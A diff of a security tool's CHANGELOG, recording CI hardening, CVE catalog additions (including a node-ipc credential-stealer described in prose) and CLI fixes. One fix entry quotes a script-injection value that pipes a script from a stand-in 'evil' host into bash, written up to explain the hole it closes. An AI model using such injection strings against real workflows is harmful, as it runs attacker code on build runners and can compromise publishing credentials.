+ **`release.yml` `inputs.tag` script-injection sink hardened.** Pre-fix the workflow_dispatch input `inputs.tag` was interpolated directly into a `run:` block (CWE-94 / CWE-78 class). A maintainer (or compromised actions:write token) firing `workflow_dispatch` with `tag = '"; curl evil/x.sh|bash; #"'` would have executed on the runner. The `npm-publish` environment has `id-token: write` available downstream, so an exploited dispatch could compromise npm provenance signing identity in the same workflow run. Fix: env-var indirection + regex allowlist `^v[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$`. Mirrors the existing `refresh.yml` `inputs.source` hardening pattern.
33
174
 
34
175
  ### Bugs
35
176
 
36
- **`scorecard.yml` `permissions: read-all` → explicit scopes.** Pre-fix the workflow-level fallback was `read-all`. Scorecard's own ruleset may flag that on a future bump; explicit `contents: read` + `actions: read` documents what we actually consume. Cycle 19 A P3 F6.
177
+ **`scorecard.yml` `permissions: read-all` → explicit scopes.** Pre-fix the workflow-level fallback was `read-all`. Scorecard's own ruleset may flag that on a future bump; explicit `contents: read` + `actions: read` documents what we actually consume.
37
178
 
38
- **`GITLEAKS_FALLBACK` bumped to 8.28.0** (was 8.21.2). Documented as "bump each time the workflow is touched"; cycle 19 audit caught the drift. Cycle 19 A P3 F7.
179
+ **`GITLEAKS_FALLBACK` bumped to 8.28.0** (was 8.21.2). Documented as "bump each time the workflow is touched".
39
180
 
40
- **Docker ecosystem added to Dependabot.** `docker/test.Dockerfile` (used by `npm run test:docker` + `test:docker:fresh`) was outside Dependabot scope so the base image could float without surfacing. Test-only image (no production exposure), but a docker-ecosystem block + weekly cadence brings it under Scorecard's PinnedDependenciesID coverage. Cycle 19 A P3 F8.
181
+ **Docker ecosystem added to Dependabot.** `docker/test.Dockerfile` (used by `npm run test:docker` + `test:docker:fresh`) was outside Dependabot scope so the base image could float without surfacing. Test-only image (no production exposure), but a docker-ecosystem block + weekly cadence brings it under Scorecard's PinnedDependenciesID coverage.
41
182
 
42
183
  ### Features
43
184
 
44
- **CLI envelope shape contracts pinned on 6 more verbs.** v0.12.33 pinned `attest list`, `attest verify`, `version`. Cycle 13 P3 F3 surfaced that the rest were still unpinned — a contributor adding a new top-level field to `run` / `ci` / `discover` / `brief --all` / `doctor` / `watchlist` would not get a forcing-function test failure. v0.12.39 closes the gap with 8 new pins in `tests/cli-output-envelope-shape-v0_12_39.test.js`:
185
+ **CLI envelope shape contracts pinned on 6 more verbs.** v0.12.33 pinned `attest list`, `attest verify`, `version`. The rest were still unpinned — a contributor adding a new top-level field to `run` / `ci` / `discover` / `brief --all` / `doctor` / `watchlist` would not get a forcing-function test failure. v0.12.39 closes the gap with 8 new pins in `tests/cli-output-envelope-shape-v0_12_39.test.js`:
45
186
 
46
187
  - `brief --all` — 8 top-level keys (no `verb` field; intentional transitional inconsistency)
47
188
  - `ci --required <pb>` — 5 top-level keys + 13-key `summary` sub-shape; pins absence of top-level `ok`
@@ -51,20 +192,13 @@ Cycle 19 CI workflow hardening + CLI envelope shape contracts. One P1 script-inj
51
192
  - `run <pb> --evidence --json` (single-playbook success) — 10 top-level keys, pins absence of conditional `prior_session_id` / `overwrote_at` (only present on `--force-overwrite`)
52
193
 
53
194
  Several intentional inconsistencies pinned by absence:
54
- - `brief --all` and `watchlist` do NOT emit `verb` (every other verb does). Flagged for v0.13 envelope harmonization.
195
+ - `brief --all` and `watchlist` do NOT emit `verb` (every other verb does).
55
196
  - `ci` and `doctor` do NOT emit top-level `ok` (they signal pass/fail via `summary.verdict` / `summary.all_green`). Pinned so the v0.11.13 emit() contract doesn't accidentally grow.
56
197
 
57
- ### Internal
58
-
59
- - Cycle 19 audit dispatched 3 agents (workflow security, envelope specs, 24h intake / Pwn2Own Day 3). All 3 returned.
60
- - Cycle 19 A P2 findings (id-token + contents-write co-residency on `publish` job, `always-auth NPM_TOKEN` ↔ OIDC, `refresh.yml` persisted credentials) deferred to v0.13 — they're structural job-split refactors, not single-line fixes.
61
- - Cycle 19 C: no new CVE additions in the 24h window. Pwn2Own Day 3 results still embargoed (Claude Code + Ollama Day 3 attempts pending). CVE-2026-42897 still mitigation-only.
62
- - Test count 1149 → 1157. 14/14 predeploy gates green.
63
-
64
198
 
65
199
  ## 0.12.38 — 2026-05-16
66
200
 
67
- Cycle 18 security fix + state refresh. The P1 closes a multi-tenant attestation-file-mode gap; cycle 18 A inventoried the full v0.13.0 readiness list (60 items, 11-15 days) for the next minor bump.
201
+ Security fix + state refresh. Closes a multi-tenant attestation-file-mode gap.
68
202
 
69
203
  ### Security
70
204
 
@@ -72,31 +206,24 @@ Cycle 18 security fix + state refresh. The P1 closes a multi-tenant attestation-
72
206
 
73
207
  ### Bugs
74
208
 
75
- **`EXCEPTD_HOME` now documented in README.** Cycle 18 B finding: the env-var override was only mentioned in an inline `attest list` help string. Multi-tenant operators had no way to discover it without grepping the binary. README's flag-reference section now cross-references the env-var path.
209
+ **`EXCEPTD_HOME` now documented in README.** The env-var override was only mentioned in an inline `attest list` help string. Multi-tenant operators had no way to discover it without grepping the binary. README's flag-reference section now cross-references the env-var path.
76
210
 
77
- **MAL-2026-NODE-IPC-STEALER `remediation_status: removed_from_registry`.** Cycle 18 C verified npm removed the 3 malicious versions (9.1.6, 9.2.3, 12.0.1) within ~2 hours of publication on 2026-05-14. Catalog now surfaces the registry-cleanup state so operators upgrading to a clean version know they're not racing the active-in-registry phase. The expired-domain TTP class (per `NEW-CTRL-047` in zeroday-lessons) still applies — domain-expiry monitoring is the durable control, not the npm-side cleanup.
211
+ **MAL-2026-NODE-IPC-STEALER `remediation_status: removed_from_registry`.** npm removed the 3 malicious versions (9.1.6, 9.2.3, 12.0.1) within ~2 hours of publication on 2026-05-14. Catalog now surfaces the registry-cleanup state so operators upgrading to a clean version know they're not racing the active-in-registry phase. The expired-domain TTP class (per `NEW-CTRL-047` in zeroday-lessons) still applies — domain-expiry monitoring is the durable control, not the npm-side cleanup.
78
212
 
79
213
  **CVE-2026-42897 (Exchange OWA) `patch_available: false` regression-tested.** Verified Microsoft has not shipped a binary security update; Exchange Emergency Mitigation Service Mitigation M2 is still the only remediation. Catalog truth aligned with current vendor state.
80
214
 
81
- ### Internal
82
-
83
- - Cycle 18 audit dispatched 3 read-only agents (v0.13.0 readiness, attestation persistence, 24h CVE intake). All 3 returned.
84
- - Cycle 18 A v0.13.0 readiness inventory: 60 items total — 5 `will hard-fail in v0.13.0` markers + 17 legacy verbs to remove + 20 draft CVEs + 13 unresolved xrefs + 3 informational→required gate flips + 2 schema deprecations. Total effort 11-15 days for a single-maintainer minor bump. Detailed list in audit transcript.
85
- - Cycle 18 B P1 F1 (submission redaction) and F3 (git remote URL in attestation root path) deferred to v0.13 — both are larger schema-or-behavior changes that need design before implementation.
86
- - 4 new tests in `tests/attestation-mode-0600.test.js` (1 skipped on Windows). Test count 1145 → 1149. 14/14 predeploy gates green.
87
-
88
215
 
89
216
  ## 0.12.37 — 2026-05-16
90
217
 
91
- Cycle 17 UX + cross-skill consistency pass. Two CLI UX gaps closed (empty-stdin nudge, did-you-mean for typos), one operator-misleading factual error fixed in 3 skills (CVE-2024-3094 claim drift), and one cosmetic naming inconsistency cleaned up.
218
+ UX + cross-skill consistency pass. Two CLI UX gaps closed (empty-stdin nudge, did-you-mean for typos), one operator-misleading factual error fixed in 3 skills (CVE-2024-3094 claim drift), and one cosmetic naming inconsistency cleaned up.
92
219
 
93
220
  ### Bugs
94
221
 
95
- **`--evidence -` empty-stdin nudge.** Cycle 15 + cycle 17 audits both flagged this: when an operator pipes nothing to `--evidence -`, the runner silently treated it as `{}` and proceeded with a "successful" run on no evidence. Pre-fix the only signal was a deterministic `evidence_hash: 572a0e...` that meant nothing to a first-time operator. Now stderr emits an informational note pointing at `exceptd brief <playbook>` for the expected evidence shape; the run still proceeds (legitimate posture-only-walk use case preserved) but the operator at least sees the empty-stdin signal.
222
+ **`--evidence -` empty-stdin nudge.** When an operator pipes nothing to `--evidence -`, the runner silently treated it as `{}` and proceeded with a "successful" run on no evidence. Pre-fix the only signal was a deterministic `evidence_hash: 572a0e...` that meant nothing to a first-time operator. Now stderr emits an informational note pointing at `exceptd brief <playbook>` for the expected evidence shape; the run still proceeds (legitimate posture-only-walk use case preserved) but the operator at least sees the empty-stdin signal.
96
223
 
97
224
  **Did-you-mean for unknown verbs.** Pre-fix `exceptd discoer` exited 10 with the generic "Run `exceptd help`" hint. Now the dispatcher runs a Levenshtein-1 check against the union of `COMMANDS` + `PLAYBOOK_VERBS` + `ORCHESTRATOR_PASSTHROUGH` (includes transposition detection so `disocver` → `discover`). Suggestion surfaces in both the human hint string and a new `did_you_mean[]` JSON field for tooling consumers. Distance >1 still returns the generic hint with `did_you_mean: []` — no false-positive flood.
98
225
 
99
- **CVE-2024-3094 (xz-utils) operator-misleading claims.** Cycle 17 audit A surfaced 3 skill bodies that contradicted each other and the catalog:
226
+ **CVE-2024-3094 (xz-utils) operator-misleading claims.** Three skill bodies contradicted each other and the catalog:
100
227
  - `supply-chain-integrity` skill said "not in current `data/cve-catalog.json` — pre-scope incident" — false, the entry has been in the catalog with RWEP 70.
101
228
  - `sector-federal-government` skill same wording — false.
102
229
  - `cloud-iam-incident` skill table row quoted RWEP 95 / `ai_discovered: Partially` / `active_exploitation: Confirmed` — catalog says RWEP 70 / `ai_discovered: false` / `active_exploitation: suspected`.
@@ -104,12 +231,6 @@ All 3 corrected to match catalog ground truth (RWEP 70, KEV 2024-04-03, `active_
104
231
 
105
232
  **Volt Typhoon hyphenation drift.** `ot-ics-security` and `sector-energy` used `Volt-Typhoon-aligned` / `Volt-Typhoon-style`; the rest of the catalog uses unhyphenated `Volt Typhoon`. Standardized to the unhyphenated form. New regression test refuses any future re-introduction of the hyphenated form in any skill body.
106
233
 
107
- ### Internal
108
-
109
- - 3 cycle 17 audit agents dispatched (cross-skill consistency, data_deps integrity, error-path UX). All 3 returned successfully — first cycle since 14 without rate-limit issues.
110
- - Cycle 17 B (data_deps integrity) surfaced 35 skills declaring incomplete `data_deps` arrays vs body content references. Investigation found `data_deps` is only consumed by `lib/lint-skills.js` for file-existence validation, not by the runner for preload gating (all catalogs load on-demand via `lib/cross-ref-api.js` mtime-keyed cache). Cosmetic correctness issue; deferred to v0.13 bulk-fix when the schema's purpose can be clarified.
111
- - 8 new tests in `tests/cycle17-ux-fixes.test.js`. Test count 1136 → 1144. 14/14 predeploy gates green.
112
-
113
234
 
114
235
  ## 0.12.36 — 2026-05-16
115
236
 
@@ -121,21 +242,14 @@ Hard Rule forcing-function coverage pass. Three of the eight AGENTS.md Hard Rule
121
242
 
122
243
  **Rule #5 forcing function (global-first, not US-centric).** The framework-control-gaps catalog must carry entries for EU + UK + AU + INTL (ISO/3GPP/OWASP/SLSA/CycloneDX) alongside US (NIST/FedRAMP/PCI/SOC/HIPAA/etc.). No single region may exceed 70% of the catalog. Pre-fix a future PR could land a 50-entry NIST-only batch and tilt the catalog US-domestic with no signal. Current catalog distribution: US 50 (42%), EU 22 (19%), UK 7 (6%), AU 6 (5%), INTL 15 (13%), OTHER 18 (15%) — within bounds.
123
244
 
124
- **Rule #8 forcing function (no silent ATLAS/ATT&CK upgrade).** `manifest.json.atlas_version` must equal `data/atlas-ttps.json._meta.atlas_version` exactly; same for `attack_version`. Pre-cycle-9 these drifted silently (manifest stuck at v5.1.0 while catalog moved to v5.4.0; v0.12.29 corrected the lie but didn't add a forcing function — a future drift could repeat).
245
+ **Rule #8 forcing function (no silent ATLAS/ATT&CK upgrade).** `manifest.json.atlas_version` must equal `data/atlas-ttps.json._meta.atlas_version` exactly; same for `attack_version`. Pre-v0.12.29 these drifted silently (manifest stuck at v5.1.0 while catalog moved to v5.4.0; v0.12.29 corrected the lie but didn't add a forcing function — a future drift could repeat).
125
246
 
126
247
  **Cross-format CVE consistency contract.** When the same evidence runs through the CSAF / OpenVEX / SARIF emitters in sequence, the underlying CVE set in each bundle must agree exactly. Per-format auxiliary identifiers (OpenVEX indicator URNs, SARIF framework-gap rules) are allowed. Pre-fix nothing pinned the contract — a future emitter regression could silently emit different CVE sets across formats.
127
248
 
128
- ### Internal
129
-
130
- - Cycle 16 audit dispatched 3 read-only agents (cross-skill consistency, hard-rule coverage, 24h CVE intake). All three rate-limited; main-thread completed the hard-rule audit + cross-format consistency check directly.
131
- - Cycle 16 main-thread cross-format probe confirmed all 3 emitters agree on the 4 catalogued CVEs for the kernel playbook positive-detect scenario (CVE-2026-31431 Copy Fail + the 3 v0.12.29 AI-discovery flips).
132
- - 5 new tests in `tests/hard-rule-forcing-functions.test.js`.
133
- - Test count 1131 → 1136. 14/14 predeploy gates green.
134
-
135
249
 
136
250
  ## 0.12.35 — 2026-05-16
137
251
 
138
- Cycle 15 audit pass — security hardening + ATLAS pin sweep across skills + forward-watch backfill. Three angles audited in parallel (performance, exceptd's own input-handling security, forward-watch staleness); two surfaced P1 fixes that ship here.
252
+ Security hardening + ATLAS pin sweep across skills + forward-watch backfill.
139
253
 
140
254
  ### Security
141
255
 
@@ -145,30 +259,23 @@ Cycle 15 audit pass — security hardening + ATLAS pin sweep across skills + for
145
259
 
146
260
  ### Bugs
147
261
 
148
- **ATLAS v5.1.0 → v5.4.0 sweep across operator-facing surface.** v0.12.34 fixed README + ARCHITECTURE but cycle 15 found 27 skill bodies, 2 builder scripts, the skill-frontmatter schema, and 17 derived indexes all still citing the stale pin. 30 files modified; canonical pin string `ATLAS v5.4.0 (February 2026)` used uniformly. NYDFS rollout reference "phased in through November 2025" in sector-financial intentionally preserved (different context). The extended docs-pin test now scans `skills/` + `data/_indexes/` + `scripts/` for ATLAS-context mismatches in addition to README + ARCHITECTURE.
262
+ **ATLAS v5.1.0 → v5.4.0 sweep across operator-facing surface.** v0.12.34 fixed README + ARCHITECTURE but 27 skill bodies, 2 builder scripts, the skill-frontmatter schema, and 17 derived indexes were all still citing the stale pin. 30 files modified; canonical pin string `ATLAS v5.4.0 (February 2026)` used uniformly. NYDFS rollout reference "phased in through November 2025" in sector-financial intentionally preserved (different context). The extended docs-pin test now scans `skills/` + `data/_indexes/` + `scripts/` for ATLAS-context mismatches in addition to README + ARCHITECTURE.
149
263
 
150
264
  **5 past-due forward_watch entries re-dated with realized backfill.**
151
265
  - *mlops-security* — predicted "ATLAS v5.2 — track AML.T0010 sub-technique expansion." ATLAS shipped v5.4.0 on 2026-02-06; the expansion landed plus "Publish Poisoned AI Agent Tool" and "Escape to Host" techniques. Backfilled with the realized state + re-anchored to ATLAS v5.5 / v6.0 horizon.
152
266
  - *age-gates-child-safety AU under-16 ban* — predicted "implementation deferred to late 2025." AU Online Safety Amendment (Social Media Minimum Age) Act 2024 entered force 2025-12-10; 4.7M+ accounts deactivated by mid-Jan 2026; 31 March 2026 formal investigations of Facebook / Instagram / Snapchat / TikTok / YouTube. Backfilled + re-anchored to first civil-penalty proceedings (H2 2026).
153
267
  - *age-gates-child-safety UK OSA enforcement* — predicted "first enforcement decisions expected late 2025 / 2026." Ofcom has 80+ investigations open; first £1M OSA fine issued for age-assurance failure. Backfilled + re-anchored to the April / July / November 2026 OSA milestones.
154
268
  - *age-gates-child-safety eSafety actions* — same shape; backfilled to the 31 March 2026 formal investigations.
155
- - *sector-energy TSA Pipeline SD* — predicted "next reissue cycle anticipated mid-2026." Current cadence: SD-Pipeline-2021-02F expires 2 May 2026; expected 02G now overdue as of cycle 15. Updated to reflect current series + re-anchored to H2 2026.
269
+ - *sector-energy TSA Pipeline SD* — predicted "next reissue cycle anticipated mid-2026." Current cadence: SD-Pipeline-2021-02F expires 2 May 2026; expected 02G now overdue. Updated to reflect current series + re-anchored to H2 2026.
156
270
 
157
271
  ### Features
158
272
 
159
- **Extended `tests/docs-catalog-counts-pinned.test.js`** to scan `skills/**/*.md`, `data/_indexes/*.json`, and `scripts/**/*.js` for ATLAS version mentions in addition to README + ARCHITECTURE. A future stale-pin in any of those operator-facing files now fails the gate at CI time. Closes the cycle 15 P2 F6 finding which revealed v0.12.34's docs-pin gate was scoped too narrowly.
160
-
161
- ### Internal
162
-
163
- - Cycle 15 audit: 3 read-only agents dispatched (performance, security, forward-watch). Performance audit confirmed no regression — every CLI op within budget; `cross-ref-api.js` mtime-keyed catalog cache + per-run playbook cache prevent N+1 patterns. Watchlist verb at 99ms has a 30-40ms caching opportunity (deferred to v0.13 backlog).
164
- - 16/16 playbooks now validate clean (no warnings) — same green state as v0.12.33's cred-stores cleanup.
165
- - Test count 1125 → 1131 (4 new evidence-input-hardening tests + 1 extended docs-pin test + 1 sanity sweep).
166
- - 14/14 predeploy gates green.
273
+ **Extended `tests/docs-catalog-counts-pinned.test.js`** to scan `skills/**/*.md`, `data/_indexes/*.json`, and `scripts/**/*.js` for ATLAS version mentions in addition to README + ARCHITECTURE. A future stale-pin in any of those operator-facing files now fails the gate at CI time.
167
274
 
168
275
 
169
276
  ## 0.12.34 — 2026-05-15
170
277
 
171
- Documentation accuracy pass. README.md + ARCHITECTURE.md were still pinning ATLAS v5.1.0 and ATT&CK v17 — outdated for nine releases. v0.12.29 fixed the manifest.json pin (cycle 9 Hard Rule #8 audit) but the operator-facing docs weren't updated. Plus catalog count drift (38 skills → 42; 28 D3FEND entries → 29).
278
+ Documentation accuracy pass. README.md + ARCHITECTURE.md were still pinning ATLAS v5.1.0 and ATT&CK v17 — outdated for nine releases. v0.12.29 fixed the manifest.json pin but the operator-facing docs weren't updated. Plus catalog count drift (38 skills → 42; 28 D3FEND entries → 29).
172
279
 
173
280
  ### Bugs
174
281
 
@@ -182,52 +289,42 @@ Documentation accuracy pass. README.md + ARCHITECTURE.md were still pinning ATLA
182
289
 
183
290
  **`tests/docs-catalog-counts-pinned.test.js`** — new contract test asserts that README.md and ARCHITECTURE.md text matches the live catalog state for: ATLAS version (`data/atlas-ttps.json._meta.atlas_version`), ATT&CK version (`data/attack-techniques.json._meta.attack_version`), skill count (`manifest.json.skills.length`), D3FEND entry count, CVE catalog count, framework-gap entry count. Any future PR that bumps a catalog without updating the operator-facing docs fails the gate at CI time — eliminates the silent-drift class that v0.12.34 cleaned up.
184
291
 
185
- ### Internal
186
-
187
- - Cycle 14 audit dispatched 3 read-only agents (playbook execution semantics, air-gap end-to-end, docs accuracy). Two were rate-limited and returned no findings; the docs-accuracy work was completed on the main thread.
188
- - Cycle 14 main-thread playbook-execution sanity check confirmed: kernel playbook correctly classifies as `detected` with 4 matched CVEs + RWEP 100 when signal_overrides shape is correct (`{indicator_id: 'hit'}`, NOT `{indicator_id: {verdict: 'hit'}}`). The runner is sound; the operator API surface is occasionally subtle.
189
- - Cycle 14 main-thread air-gap verification confirmed: `--air-gap` flag and `EXCEPTD_AIR_GAP=1` env-var both thread into `runOpts.airGap`; `lib/playbook-runner.js:576` correctly substitutes `air_gap_alternative` for `source` on look artifacts; original source preserved as `_original_source` for audit.
190
-
191
292
 
192
-
193
- Same-day CVE intake (node-ipc supply-chain compromise) + cycle 13 audit fixes. Closes the long-standing `cred-stores` skill-vs-playbook semantic confusion that's surfaced in every audit since cycle 9.
293
+ Same-day CVE intake (node-ipc supply-chain compromise) + cleanup of the long-standing `cred-stores` skill-vs-playbook semantic confusion.
194
294
 
195
295
  ### Features
196
296
 
197
- **`MAL-2026-NODE-IPC-STEALER` — npm node-ipc supply-chain compromise (2026-05-14).** Three malicious versions (`9.1.6`, `9.2.3`, `12.0.1`) published by `atiertant`. Novel attack class: not credential theft, not typosquat, not lifecycle-hook worm — the attacker re-registered the maintainer's expired email domain (`atlantis-software.net`, expired and grabbed via Namecheap PrivateEmail on 2026-05-07) and abused npm's email-based password-reset flow to gain publish rights. 80 KB obfuscated IIFE in `node-ipc.cjs` fires on every `require()` (no hooks needed) and exfiltrates AWS / GCP / Azure / SSH / Kubernetes / Vault / Claude AI / Kiro IDE credentials via DNS TXT queries to an Azure-lookalike spoofed domain. 3.35M monthly downloads. Carries `kev_scope_note` per the cycle 11 ecosystem-package CISA-KEV-scope precedent. RWEP 43.
297
+ **`MAL-2026-NODE-IPC-STEALER` — npm node-ipc supply-chain compromise (2026-05-14).** Three malicious versions (`9.1.6`, `9.2.3`, `12.0.1`) published by `atiertant`. Novel attack class: not credential theft, not typosquat, not lifecycle-hook worm — the attacker re-registered the maintainer's expired email domain (`atlantis-software.net`, expired and grabbed via Namecheap PrivateEmail on 2026-05-07) and abused npm's email-based password-reset flow to gain publish rights. 80 KB obfuscated IIFE in `node-ipc.cjs` fires on every `require()` (no hooks needed) and exfiltrates AWS / GCP / Azure / SSH / Kubernetes / Vault / Claude AI / Kiro IDE credentials via DNS TXT queries to an Azure-lookalike spoofed domain. 3.35M monthly downloads. Carries `kev_scope_note` per the ecosystem-package CISA-KEV-scope precedent. RWEP 43.
198
298
 
199
299
  **Three new control requirements in `zeroday-lessons`** capture the structural lesson: **NEW-CTRL-047 PACKAGE-MAINTAINER-DOMAIN-EXPIRY-MONITORING** (continuous WHOIS expiry monitoring on every critical-path maintainer email domain + dual-factor account recovery); **NEW-CTRL-048 NPM-MAINTAINER-MFA-ENFORCEMENT** (registry-side mandatory MFA on publish-enabled accounts); **NEW-CTRL-049 LOCKFILE-INTEGRITY-VERIFIED-AT-CI-BOOT** (`npm ci` / `--frozen-lockfile` / `--immutable` catches the swap even after a successful publish — `--ignore-scripts` does NOT mitigate because the payload ships in the main module, not a postinstall hook).
200
300
 
201
- **`D3-EFA` (Executable File Analysis) added to D3FEND catalog.** `sector-telecom` skill cited it but the entry didn't exist — cycle 13 finding. Distinct from `D3-EAL` (Executable Allowlisting): EAL blocks at execute-time; EFA inspects bytes at file-write / image-pull / artifact-fetch time and gates the allowlist decision itself.
301
+ **`D3-EFA` (Executable File Analysis) added to D3FEND catalog.** `sector-telecom` skill cited it but the entry didn't exist. Distinct from `D3-EAL` (Executable Allowlisting): EAL blocks at execute-time; EFA inspects bytes at file-write / image-pull / artifact-fetch time and gates the allowlist decision itself.
202
302
 
203
- **CLI envelope-shape contract tests.** `tests/cli-output-envelope-shape.test.js` pins the EXACT top-level key set on `attest list --json`, `attest verify --json` (error path), and `version`. A contributor adding a new top-level field to these verbs now gets a forcing-function test failure that requires updating the contract. Expanded coverage to `run` / `ci` / `discover` / `brief` / `doctor` / `watchlist` deferred to future cycles as their shapes stabilize.
303
+ **CLI envelope-shape contract tests.** `tests/cli-output-envelope-shape.test.js` pins the EXACT top-level key set on `attest list --json`, `attest verify --json` (error path), and `version`. A contributor adding a new top-level field to these verbs now gets a forcing-function test failure that requires updating the contract.
204
304
 
205
305
  ### Bugs
206
306
 
207
- **`cred-stores` skill-vs-playbook semantic finally cleaned up.** Cycles 9, 12, and 13 all flagged that the 3 IR playbooks and 3 IR skills referenced `cred-stores` in `skill_preload` / `skill_chain` / Hand-Off sections as if it were a skill — but it's actually a playbook. Operators (and any tooling resolving these refs against `manifest.json.skills`) failed. Fixes: removed `cred-stores` from `data/playbooks/{idp-incident,cloud-iam-incident}.json` `skill_preload` + `skill_chain` (hand-off is via `_meta.feeds_into`, which was already present); annotated `cred-stores` / `framework` references in `skills/{idp-incident-response,cloud-iam-incident,ransomware-response}/skill.md` Hand-Off sections as *(playbook chain, not a skill)* with the explicit note that hand-off is via the playbook chain, not a skill load. Predeploy playbook validator now warning-free (was 6 warnings every release).
307
+ **`cred-stores` skill-vs-playbook semantic finally cleaned up.** The 3 IR playbooks and 3 IR skills referenced `cred-stores` in `skill_preload` / `skill_chain` / Hand-Off sections as if it were a skill — but it's actually a playbook. Operators (and any tooling resolving these refs against `manifest.json.skills`) failed. Fixes: removed `cred-stores` from `data/playbooks/{idp-incident,cloud-iam-incident}.json` `skill_preload` + `skill_chain` (hand-off is via `_meta.feeds_into`, which was already present); annotated `cred-stores` / `framework` references in `skills/{idp-incident-response,cloud-iam-incident,ransomware-response}/skill.md` Hand-Off sections as *(playbook chain, not a skill)* with the explicit note that hand-off is via the playbook chain, not a skill load. Predeploy playbook validator now warning-free (was 6 warnings every release).
208
308
 
209
309
  ### Internal
210
310
 
211
311
  - CVE catalog 36 → 37 entries; zeroday-lessons 21 → 22 entries.
212
312
  - AI-discovery rate stays at 16.2% (one more vendor/ecosystem-discovered entry dilutes the observed rate; floor remains 0.15).
213
313
  - D3FEND catalog 28 → 29 entries.
214
- - `tests/v0_12_33-node-ipc-coverage.test.js` pins MAL-2026-NODE-IPC-STEALER entry shape (iocs object with ≥1 category, kev_scope_note presence, NEW-CTRL-047 in lessons).
215
314
  - Reverse-ref regen: 3 CWE entries updated with the new MAL-* CVE evidence; 1 D3FEND skill_referencing prune (sector-telecom now correctly anchored against D3-EFA).
216
- - Test count 1109 → 1119.
217
- - 14/14 predeploy gates green.
218
315
 
219
316
 
220
317
  ## 0.12.32 — 2026-05-15
221
318
 
222
- Cycle 11 CLI polish + cycle 12 catalog hardening. The headline closes a silent regression where the 6 CVEs advertised by v0.12.31 were shipped as `_draft: true` and therefore invisible to default `cross-ref-api` queries — operators running `exceptd` against Exchange would have gotten a clean bill on CVE-2026-42897.
319
+ CLI polish + catalog hardening. The headline closes a silent regression where the 6 CVEs advertised by v0.12.31 were shipped as `_draft: true` and therefore invisible to default `cross-ref-api` queries — operators running `exceptd` against Exchange would have gotten a clean bill on CVE-2026-42897.
223
320
 
224
321
  ### Bugs
225
322
 
226
- **6 CVEs from v0.12.31 promoted from draft to non-draft.** Cycle 12 audit caught the regression: every CVE in cycle 11's intake shipped as `_draft: true`, which `lib/cross-ref-api.js` skips by default. v0.12.31 CHANGELOG advertised "6 new CISA-KEV CVEs" but operators couldn't actually query them. All 6 promoted with `_editorial_promoted: 2026-05-15` provenance; full required fields validated (iocs, vendor_advisories, verification_sources, complexity, affected_versions, RWEP Shape B invariant).
323
+ **6 CVEs from v0.12.31 promoted from draft to non-draft.** Every CVE in v0.12.31's intake shipped as `_draft: true`, which `lib/cross-ref-api.js` skips by default. v0.12.31 CHANGELOG advertised "6 new CISA-KEV CVEs" but operators couldn't actually query them. All 6 promoted with `_editorial_promoted: 2026-05-15` provenance; full required fields validated (iocs, vendor_advisories, verification_sources, complexity, affected_versions, RWEP Shape B invariant).
227
324
 
228
325
  **9 unmatched `framework_control_gaps` keys on the new CVEs now resolve.** `NIS2-Art21-vulnerability-management`, `DORA-Art-9`, `NIST-800-53-AC-3`, `OWASP-LLM-Top-10-2025-LLM05`, `NIST-800-53-AC-6`, `NIS2-Art21-identity-management`, `ISO-27001-2022-A.8.7`, `NIST-800-53-SC-44`, `CIS-Controls-v8-10.1` — referenced by the new CVEs but absent from the framework-gap catalog. All 9 now present with `theater_test` blocks (catalog 109 → 118 entries). Reverse `evidence_cves` links also added on the 6 existing entries (NIST-800-53-SI-2 / SI-3 / etc.) that the new CVEs reference.
229
326
 
230
- **CVE → CWE reverse-references auto-regenerated.** Cycle 9 introduced `npm run refresh-reverse-refs` for the skill direction (manifest → atlas/cwe/d3fend/rfc), but the CWE catalog's `evidence_cves` field — the operator-facing "which CVEs map to this CWE" index — was still hand-maintained and drifted with every CVE intake. The script now also walks `cve.cwe_refs` → `cwe.evidence_cves`. Drafts excluded (they're invisible to default consumers; the reverse direction tracks operator-queryable truth). 14 CWE entries updated on first run. New `tests/reverse-ref-drift.test.js` test pins the contract.
327
+ **CVE → CWE reverse-references auto-regenerated.** v0.12.29 introduced `npm run refresh-reverse-refs` for the skill direction (manifest → atlas/cwe/d3fend/rfc), but the CWE catalog's `evidence_cves` field — the operator-facing "which CVEs map to this CWE" index — was still hand-maintained and drifted with every CVE intake. The script now also walks `cve.cwe_refs` → `cwe.evidence_cves`. Drafts excluded (they're invisible to default consumers; the reverse direction tracks operator-queryable truth). 14 CWE entries updated on first run. New `tests/reverse-ref-drift.test.js` test pins the contract.
231
328
 
232
329
  ### Features
233
330
 
@@ -240,13 +337,11 @@ Cycle 11 CLI polish + cycle 12 catalog hardening. The headline closes a silent r
240
337
  ### Internal
241
338
 
242
339
  - 6 matching `data/zeroday-lessons.json` entries authored for the promoted CVEs (rule #6 enforcement: zero-day learning is live for every non-draft catalog entry).
243
- - Test count 1099 → 1109 (10 new tests across F4/F5/F7 + reverse-ref drift extension + Shape B canonicalization staying green).
244
- - 14/14 predeploy gates green.
245
340
 
246
341
 
247
342
  ## 0.12.31 — 2026-05-15
248
343
 
249
- CLI ergonomics + 30-day CVE intake from the cycle 11 audit. Closes a silent-misrouting bug in the CI gate and adds six high-impact CVEs that landed on CISA KEV between 2026-04-15 and 2026-05-15.
344
+ CLI ergonomics + 30-day CVE intake. Closes a silent-misrouting bug in the CI gate and adds six high-impact CVEs that landed on CISA KEV between 2026-04-15 and 2026-05-15.
250
345
 
251
346
  ### Bugs
252
347
 
@@ -269,26 +364,24 @@ CLI ergonomics + 30-day CVE intake from the cycle 11 audit. Closes a silent-misr
269
364
  | CVE-2026-32202 | Microsoft Windows Shell LNK protection-mechanism failure. Active APT28 (Fancy Bear) exploitation; chains with CVE-2026-21513. | 2026-04-28 | 85 |
270
365
  | CVE-2026-33825 | Microsoft Defender "BlueHammer" race-condition LPE → SYSTEM. Public exploit released before patch (true zero-day). | 2026-04-22 | 68 |
271
366
 
272
- **`kev_scope_note` field on supply-chain-class entries.** CISA KEV historically excludes ecosystem-package compromises (npm/PyPI/Crates worms, malicious-package backdoors) — its scope is federally-deployable products with CVE assignments. The Mini Shai-Hulud parent (CVE-2026-45321) and TanStack variant (MAL-2026-TANSTACK-MINI) are NOT listed in KEV despite confirmed in-the-wild exploitation. The new `kev_scope_note` field documents this so future audit cycles don't re-flag the `active_exploitation: confirmed` + `cisa_kev: false` combination as a data quality issue. Operators should consume CISA-KEV-equivalent guidance for this class from OpenSSF MAL feed + ecosystem-specific advisories (Snyk / Wiz / Phylum / Socket).
367
